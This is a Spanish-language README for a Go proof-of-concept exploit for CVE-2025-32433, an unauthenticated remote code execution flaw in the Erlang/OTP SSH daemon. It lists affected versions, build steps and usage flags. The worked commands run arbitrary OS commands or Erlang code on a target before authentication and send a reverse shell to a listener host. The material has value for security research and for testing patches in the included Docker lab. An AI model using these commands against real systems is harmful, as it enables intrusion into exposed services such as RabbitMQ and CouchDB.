
Go PoC para CVE-2025-32433 — RCE no autenticado en Erlang/OTP SSH.
CVE-2025-32433 es una vulnerabilidad crítica de ejecución remota de código no autenticada en el servidor SSH de Erlang/OTP. Antes de las versiones parcheadas, el demonio SSH procesa incorrectamente los mensajes de canal antes de que se complete la autenticación, lo que permite a un atacante abrir un canal y enviar solicitudes exec sin proporcionar credenciales. Cualquier aplicación que integre el servidor SSH de Erlang/OTP (incluidos Elixir, RabbitMQ, CouchDB y otros) se ve afectada cuando el puerto SSH está expuesto.
Este PoC en Go se conecta a un puerto SSH objetivo, envía un SSH_MSG_CHANNEL_OPEN manipulado seguido de un payload de SSH_MSG_CHANNEL_REQUEST exec — completamente antes de la autenticación — lo que provoca que el nodo Erlang remoto ejecute comandos arbitrarios del sistema operativo. La ejecución es ciega: no se devuelve salida de comandos al atacante.
Versiones afectadas: Erlang/OTP < 27.3.3, < 26.2.5.11, < 25.3.2.20
bash -c, envueltos automáticamente en os:cmd de Erlanggen_tcp sin depender de bash ni de /dev/tcpLos binarios precompilados para macOS, Linux y Windows están disponibles en la página de lanzamientos. Descarga el binario para tu plataforma y ejecútalo directamente — no se requiere instalación de Go.
O compílalo desde el código fuente:
[!NOTE] Requiere Go 1.21+. Sin dependencias externas — usa solo la biblioteca estándar de Go.
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433 cve-2025-32433.go
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433.exe cve-2025-32433.go
go install github.com/joshuavanderpoll/cve-2025-32433@latest
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22
Usage of ./cve-2025-32433:
-host string
Target IP or hostname
-port int
SSH port (default: 22) (default 22)
-timeout int
Connection timeout in seconds (default: 5) (default 5)
-command string
Shell command to run on the target (wrapped in os:cmd)
-code string
Raw Erlang expression to execute on the target
-shell
Send an Erlang-native gen_tcp reverse shell
-lhost string
Listener IP for reverse shell (required with -shell)
-lport int
Listener port for reverse shell (default: 4444)
./cve-2025-32433 -host 127.0.0.1 -port 2222

./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt'

El flag -shell envía un payload de reverse shell gen_tcp nativo de Erlang — no requiere bash ni /dev/tcp. Inicia primero un listener y luego envía el exploit.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444

El flag -code envía una expresión Erlang pura directamente — sin envoltorio bash -c. Útil para operaciones puramente Erlang o cuando bash no está disponible en el objetivo. Dado que la ejecución es ciega, escribe la salida en un archivo y recupérala por separado.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'

Más detalles en docker/DOCKER.md
cd docker/
docker compose down
docker compose up -d
# You can test at -host 127.0.0.1 -port 2222
Esta herramienta se proporciona únicamente con fines educativos y de investigación. El creador no asume ninguna responsabilidad por el mal uso o los daños causados por la herramienta.